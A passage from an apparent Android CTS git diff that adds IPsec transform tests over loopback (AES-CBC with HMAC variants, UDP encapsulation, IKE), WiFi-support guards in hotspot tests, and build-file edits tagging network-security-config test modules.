+                        .buildTransportModeTransform(local);
+
+        // Bind localSocket to a random available port.
+        DatagramSocket localSocket = new DatagramSocket(0);
+        int localPort = localSocket.getLocalPort();
+        localSocket.setSoTimeout(500);
+        ParcelFileDescriptor pin = ParcelFileDescriptor.fromDatagramSocket(localSocket);
+        FileDescriptor udpSocket = pin.getFileDescriptor();
+
+        mISM.applyTransportModeTransform(udpSocket, transform);
+        byte[] data = new String("Best test data ever!").getBytes("UTF-8");
+
+        byte[] in = new byte[data.length];
+        Os.sendto(udpSocket, data, 0, data.length, 0, local, localPort);
+        Os.read(udpSocket, in, 0, in.length);
+        assertTrue("Encapsulated data did not match.", Arrays.equals(data, in));
+        mISM.removeTransportModeTransform(udpSocket, transform);
+        Os.close(udpSocket);
+        transform.close();
+    }
+
+    public void checkTransform(int protocol, String localAddress,
+            IpSecAlgorithm crypt, IpSecAlgorithm auth) throws Exception {
+        InetAddress local = InetAddress.getByName(localAddress);
+
+        IpSecManager.SecurityParameterIndex outSpi =
+                mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_OUT, local);
+
+        IpSecManager.SecurityParameterIndex inSpi =
+                mISM.reserveSecurityParameterIndex(
+                        IpSecTransform.DIRECTION_IN, local, outSpi.getSpi());
+
+        IpSecTransform transform =
+                new IpSecTransform.Builder(mContext)
+                        .setSpi(IpSecTransform.DIRECTION_OUT, outSpi)
+                        .setEncryption(IpSecTransform.DIRECTION_OUT,crypt)
+                        .setAuthentication(IpSecTransform.DIRECTION_OUT, auth)
+                        .setSpi(IpSecTransform.DIRECTION_IN, inSpi)
+                        .setEncryption(IpSecTransform.DIRECTION_IN, crypt)
+                        .setAuthentication(IpSecTransform.DIRECTION_IN, auth)
+                        .buildTransportModeTransform(local);
+
+        if (protocol == IPPROTO_TCP) {
+            checkTcp(transform, local);
+        } else if (protocol == IPPROTO_UDP) {
+            // TODO: Also check connected udp.
+            checkUnconnectedUdp(transform, local);
+        } else {
+            throw new IllegalArgumentException("Invalid protocol");
+        }
+
+        transform.close();
+        outSpi.close();
+        inSpi.close();
+    }
+
+    public void testAesCbcHmacMd5Tcp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_MD5, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacMd5Tcp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_MD5, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacMd5Udp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_MD5, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacMd5Udp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_MD5, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha1Tcp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA1, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha1Tcp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA1, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha1Udp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA1, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha1Udp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA1, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha256Tcp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA256, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha256Tcp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA256, getAuthKey(256), 128);
+        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha256Udp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA256, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha256Udp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA256, getAuthKey(256), 128);
+        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha384Tcp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA384, getAuthKey(384), 192);
+        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha384Tcp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA384, getAuthKey(384), 192);
+        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha384Udp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA384, getAuthKey(384), 192);
+        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha384Udp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA384, getAuthKey(384), 192);
+        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha512Tcp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA512, getAuthKey(512), 256);
+        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha512Tcp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA512, getAuthKey(512), 256);
+        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha512Udp4() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA512, getAuthKey(512), 256);
+        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth);
+    }
+
+    public void testAesCbcHmacSha512Udp6() throws Exception {
+        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
+        IpSecAlgorithm auth = new IpSecAlgorithm(
+                IpSecAlgorithm.AUTH_HMAC_SHA512, getAuthKey(512), 256);
+        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth);
+    }
+
+    public void testOpenUdpEncapSocketSpecificPort() throws Exception {
+        IpSecManager.UdpEncapsulationSocket encapSocket = null;
+        int port = -1;
+        for (int i = 0; i < MAX_PORT_BIND_ATTEMPTS; i++) {
+            try {
+                port = findUnusedPort();
+                encapSocket = mISM.openUdpEncapsulationSocket(port);
+                break;
+            } catch (ErrnoException e) {
+                if (e.errno == OsConstants.EADDRINUSE) {
+                    // Someone claimed the port since we called findUnusedPort.
+                    continue;
+                }
+                throw e;
+            } finally {
+                if (encapSocket != null) {
+                    encapSocket.close();
+                }
+            }
+        }
+
+        if (encapSocket == null) {
+            fail("Failed " + MAX_PORT_BIND_ATTEMPTS + " attempts to bind to a port");
+        }
+
+        assertTrue("Returned invalid port", encapSocket.getPort() == port);
+    }
+
+    public void testOpenUdpEncapSocketRandomPort() throws Exception {
+        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+            assertTrue("Returned invalid port", encapSocket.getPort() != 0);
+        }
+    }
+
+    public void testUdpEncapsulation() throws Exception {
+        InetAddress local = LOOPBACK_4;
+
+        // TODO: Refactor to make this more representative of a normal application use case. (use
+        // separate sockets for inbound and outbound)
+        // Create SPIs, UDP encap socket
+        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket();
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_OUT, local);
+                IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.reserveSecurityParameterIndex(
+                                IpSecTransform.DIRECTION_IN, local, outSpi.getSpi());
+                IpSecTransform transform =
+                        buildIpSecTransform(mContext, inSpi, outSpi, encapSocket, local)) {
+
+            // Create user socket, apply transform to it
+            FileDescriptor udpSocket = null;
+            try {
+                udpSocket = getBoundUdpSocket(local);
+                int port = getPort(udpSocket);
+
+                mISM.applyTransportModeTransform(udpSocket, transform);
+
+                // Send an ESP packet from this socket to itself. Since the inbound and
+                // outbound transforms match, we should receive the data we sent.
+                byte[] data = new String("IPSec UDP-encap-ESP test data").getBytes("UTF-8");
+                Os.sendto(udpSocket, data, 0, data.length, 0, local, port);
+                byte[] in = new byte[data.length];
+                Os.read(udpSocket, in, 0, in.length);
+                assertTrue("Encapsulated data did not match.", Arrays.equals(data, in));
+
+                // Send an IKE packet from this socket to itself. IKE packets (SPI of 0)
+                // are not transformed in any way, and should be sent in the clear
+                // We expect this to work too (no inbound transforms)
+                final byte[] header = new byte[] {0, 0, 0, 0};
+                final String message = "Sample IKE Packet";
+                data = (new String(header) + message).getBytes("UTF-8");
+                Os.sendto(
+                        encapSocket.getSocket(),
+                        data,
+                        0,
+                        data.length,
+                        0,
+                        local,
+                        encapSocket.getPort());
+                in = new byte[data.length];
+                Os.read(encapSocket.getSocket(), in, 0, in.length);
+                assertTrue(
+                        "Encap socket was unable to send/receive IKE data",
+                        Arrays.equals(data, in));
+
+                mISM.removeTransportModeTransform(udpSocket, transform);
+            } finally {
+                if (udpSocket != null) {
+                    Os.close(udpSocket);
+                }
+            }
+        }
+    }
+
+    public void testIke() throws Exception {
+        InetAddress local = LOOPBACK_4;
+
+        // TODO: Refactor to make this more representative of a normal application use case. (use
+        // separate sockets for inbound and outbound)
+        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket();
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_OUT, local);
+                IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_IN, local);
+                IpSecTransform transform =
+                        buildIpSecTransform(mContext, inSpi, outSpi, encapSocket, local)) {
+
+            // Create user socket, apply transform to it
+            FileDescriptor sock = null;
+
+            try {
+                sock = getBoundUdpSocket(local);
+                int port = getPort(sock);
+
+                mISM.applyTransportModeTransform(sock, transform);
+
+                // TODO: Find a way to set a timeout on the socket, and assert the ESP packet
+                // doesn't make it through. Setting sockopts currently throws EPERM (possibly
+                // because it is owned by a different UID).
+
+                // Send ESP packet from our socket to the encap socket. The SPIs do not
+                // match, and we should expect this packet to be dropped.
+                byte[] header = new byte[] {1, 1, 1, 1};
+                String message = "Sample ESP Packet";
+                byte[] data = (new String(header) + message).getBytes("UTF-8");
+                Os.sendto(sock, data, 0, data.length, 0, local, encapSocket.getPort());
+
+                // Send IKE packet from the encap socket to itself. Since IKE is not
+                // transformed in any way, this should succeed.
+                header = new byte[] {0, 0, 0, 0};
+                message = "Sample IKE Packet";
+                data = (new String(header) + message).getBytes("UTF-8");
+                Os.sendto(
+                        encapSocket.getSocket(),
+                        data,
+                        0,
+                        data.length,
+                        0,
+                        local,
+                        encapSocket.getPort());
+
+                // ESP data should be dropped, due to different input SPI (as opposed to being
+                // readable from the encapSocket)
+                // Thus, only IKE data should be received from the socket.
+                // If the first four bytes are zero, assume non-ESP (IKE) traffic.
+                // Expect an nulled out SPI just as we sent out, without being modified.
+                byte[] in = new byte[4];
+                in[0] = 1; // Make sure the array has to be overwritten to pass
+                Os.read(encapSocket.getSocket(), in, 0, in.length);
+                assertTrue(
+                        "Encap socket received UDP-encap-ESP data despite invalid SPIs",
+                        Arrays.equals(header, in));
+
+                mISM.removeTransportModeTransform(sock, transform);
+            } finally {
+                if (sock != null) {
+                    Os.close(sock);
+                }
+            }
+        }
+    }
+
+    private static IpSecTransform buildIpSecTransform(
+            Context mContext,
+            IpSecManager.SecurityParameterIndex inSpi,
+            IpSecManager.SecurityParameterIndex outSpi,
+            IpSecManager.UdpEncapsulationSocket encapSocket,
+            InetAddress remoteAddr)
+            throws Exception {
+        return new IpSecTransform.Builder(mContext)
+                .setSpi(IpSecTransform.DIRECTION_IN, inSpi)
+                .setSpi(IpSecTransform.DIRECTION_OUT, outSpi)
+                .setEncryption(
+                        IpSecTransform.DIRECTION_IN,
+                        new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                .setEncryption(
+                        IpSecTransform.DIRECTION_OUT,
+                        new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                .setAuthentication(
+                        IpSecTransform.DIRECTION_IN,
+                        new IpSecAlgorithm(
+                                IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4))
+                .setAuthentication(
+                        IpSecTransform.DIRECTION_OUT,
+                        new IpSecAlgorithm(
+                                IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4))
+                .setIpv4Encapsulation(encapSocket, encapSocket.getPort())
+                .buildTransportModeTransform(remoteAddr);
+    }
+
+    private static int getPort(FileDescriptor sock) throws Exception {
+        return ((InetSocketAddress) Os.getsockname(sock)).getPort();
+    }
+}
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index b2d912e..ade60d3 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -816,7 +816,11 @@
      * Note: Location mode must be enabled for this test.
      */
     public void testStartLocalOnlyHotspotSuccess() {
-        // first check that softap mode is supported by the device
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // check that softap mode is supported by the device
         if (!mWifiManager.isPortableHotspotSupported()) {
             return;
         }
@@ -841,7 +845,11 @@
      * Note: Location mode must be enabled for this test.
      */
     public void testSetWifiEnabledByAppDoesNotStopHotspot() {
-        // first check that softap mode is supported by the device
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // check that softap mode is supported by the device
         if (!mWifiManager.isPortableHotspotSupported()) {
             return;
         }
@@ -865,7 +873,11 @@
      * Note: Location mode must be enabled for this test.
      */
     public void testStartLocalOnlyHotspotSingleRequestByApps() {
-        // first check that softap mode is supported by the device
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // check that softap mode is supported by the device
         if (!mWifiManager.isPortableHotspotSupported()) {
             return;
         }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6dec23f..c206b76 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
@@ -31,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficFalse
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 5c077c6..2b91cea 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficFalse test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 6df748d..ab95129 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
@@ -31,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficTrue
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index b80a7d8..c025dad 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficTrue test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 6f35027..4e80528 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
@@ -31,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficUnspecified
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index fe2fa70..ae25db7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficUnspecified test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 56c5d25..d2ddb27 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 2b91bc6..716fecf 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index df29b5f..928b95d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index 59e5625..4a55d81 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index c935486..22ec6c7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 3993d00..f6be2b5 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -20,7 +20,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    org.apache.http.legacy \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index a89bad0..cbfd091 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index d68073d..2ae8d6c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
